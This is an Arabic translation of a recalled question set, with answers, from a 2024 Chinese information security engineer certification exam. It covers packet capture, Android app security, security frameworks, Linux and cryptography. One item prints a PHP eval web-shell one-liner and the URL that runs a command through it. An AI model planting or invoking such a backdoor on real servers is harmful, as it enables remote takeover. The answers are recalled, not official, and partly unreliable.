2024InformationSecurityEngineer

2024 مهندس أمن المعلومات، 2024InformationSecurityEngineer

النصف الثاني من 2024 - مهندس أمن المعلومات

استرجاع أسئلة الامتحان

الاختبار البرمجي (软考) - موعد الامتحان : 2024年11月08日

1. التقاط حزم جدار الحماية (14 نقطة)

1. طول الحزمة ___ (نقطتان) الإجابة: 63
2. هل هو جهاز حقيقي أم جهاز افتراضي ___ (نقطتان) الإجابة: جهاز افتراضي
3. عنوان IP والمنفذ للمضيف المُتحكِّم ___ (نقطتان) الإجابة: 192.168.1.218 14444
4. قاعدة تصفية Wireshark لعنوان IP والمنفذ ___ (نقطتان) الإجابة: ip.addr == 192.168.2.105 and tcp.dstport == 14444
5. الأمر الذي يستخدمه المضيف المُتحكِّم (نقطتان) الإجابة: ipconfig
6. الاختصار في Windows لعرض جدار الحماية ___ (نقطتان) الإجابة: firewall.cpl
7. أي خيار ___ (نقطتان)الإجابة: مخصص

2. أسئلة أندرويد (16 نقطة)

1. الدليل/الملف الذي يخزّن التوقيع ___ (نقطتان) الإجابة: META-INF

2. الدليل/الملف الذي يخزّن الأذونات ___ (نقطتان) الإجابة: AndroidManifest.xml

3. السؤال 5 (10 نقاط) (1) أي إعداد يدعم النسخ الاحتياطي؛ (2) يمكنه قراءة معلومات الموقع التاريخي، فهل توجد مخاطر أمنية؛ (3) في ملف الإعدادات، أيٌّ من المكونات الأربعة الرئيسية تم استخدامها؛ (4) أي مكوّن لديه أعلى خطر لتسريب المعلومات؛ (5) هل يوجد إساءة استخدام للمعلومات؟ اشرح بالتفصيل؛

   الإجابة: (1) backup...... لا يدعم النسخ الاحتياطي (2) توجد مخاطر خفية، فهناك خطر تسريب المعلومات غير المعروفة (3) Activity وBroadcastRecevier (4) Contentprovider (5) توجد إساءة استخدام للمعلومات، وأذونات الموقع والكاميرا والتخزين وجهات الاتصال والوسائط المتعددة والبلوتوث وغيرها، وكثير منها يُعد جمعًا مفرطًا

4. هل يمتلك المستخدم صلاحية root في أندرويد (نقطتان) الإجابة: لا

3. CSF (11 نقطة)

1. أي نموذج أمني ___ (نقطتان) الإجابة: PDRR
2. غير معروف
3. جدار الحماية يندرج تحت أي وظيفة أساسية ___ (نقطتان) الإجابة: الحماية
4. السؤال 2 (4 نقاط) (1) ما الوظيفة الأساسية الإضافية التي يمتلكها CSF مقارنةً بـ PDRR ___ (نقطتان)الإجابة: التحديد (2) إلى أي وظيفة من وظائف CSF ينتمي تقييم المخاطر ___ (نقطتان)الإجابة: التحديد
5. إلى جانب تحديد الأصول، ما أنواع التحديد الثلاثة الأخرى ___ (3 نقاط) الإجابة: تحديد المخاطر؛ تحديد نقاط الضعف؛ تحديد التدابير الأمنية القائمة

4. Linux (13 نقطة)

1. الاسم الكامل للأمر ll ___ (نقطتان)الإجابة: ls -l

2. هل المستخدم الحالي هو root أم مستخدم عادي ___ (نقطتان) الإجابة: root

3. التمثيل الرقمي لأذونات الملف ___ (نقطتان)الإجابة: rw-r--r-- 644

4. ماذا يعني ../ في الشكل ___ (نقطتان)الإجابة: المجلد الأب (الدليل الأعلى)، /var/www/html

5. الأمر المدمج في Linux لحساب قيم التجزئة ___ (نقطتان)md5sum; sha1sum; shasum -a 256

6. shell.php <?php @eval($_GET["cmd"]); ?> (5 نقاط)

1. ما هي كلمة مرور الاتصال المقابلة لهذا الملف؟ الإجابة: cmd
2. ما هو أسلوب طلب http؟ الإجابة: GET
3. بافتراض أن النطاق هو abc.com، ما هي URL الكاملة لطلب تنفيذ whoami؟ الإجابة: abc.com/shell.php?cmd=system("whoami")

5. التشفير (15 نقطة)

1. إلى جانب التشفير المتماثل وغير المتماثل، ما الطريقة الأخرى للتشفير وفقًا لطريقة معالجة النص الصريح؟ (نقطتان) الإجابة: التشفير الكتلي والتشفير التدفقي
2. تمثيل a على 8 بت (نقطتان) الإجابة: 97 ---》 01100001
3. نتيجة تشفير a مع abc باستخدام XOR (6 نقاط) الإجابة: 032 أو 00000000 00000011 00000010
4. بمعرفة mi، وki، وci، ما هي المعادلة للحصول على النص الصريح؟ (نقطتان) الإجابة: mi = ki XOR ^ ci
5. هل من الآمن تشفير نصّين صريحين مختلفين باستخدام نفس مفتاح التشفير التدفقي؟ ولماذا؟ (نقطتان) الإجابة: غير آمن، إذ يمكن اشتقاق أحد النصين الصريحين من الآخر
6. هل يمكن استخدام التشفير الكتلي كتشفير تدفقي؟ (نقطة واحدة) الإجابة: نعم، يمكن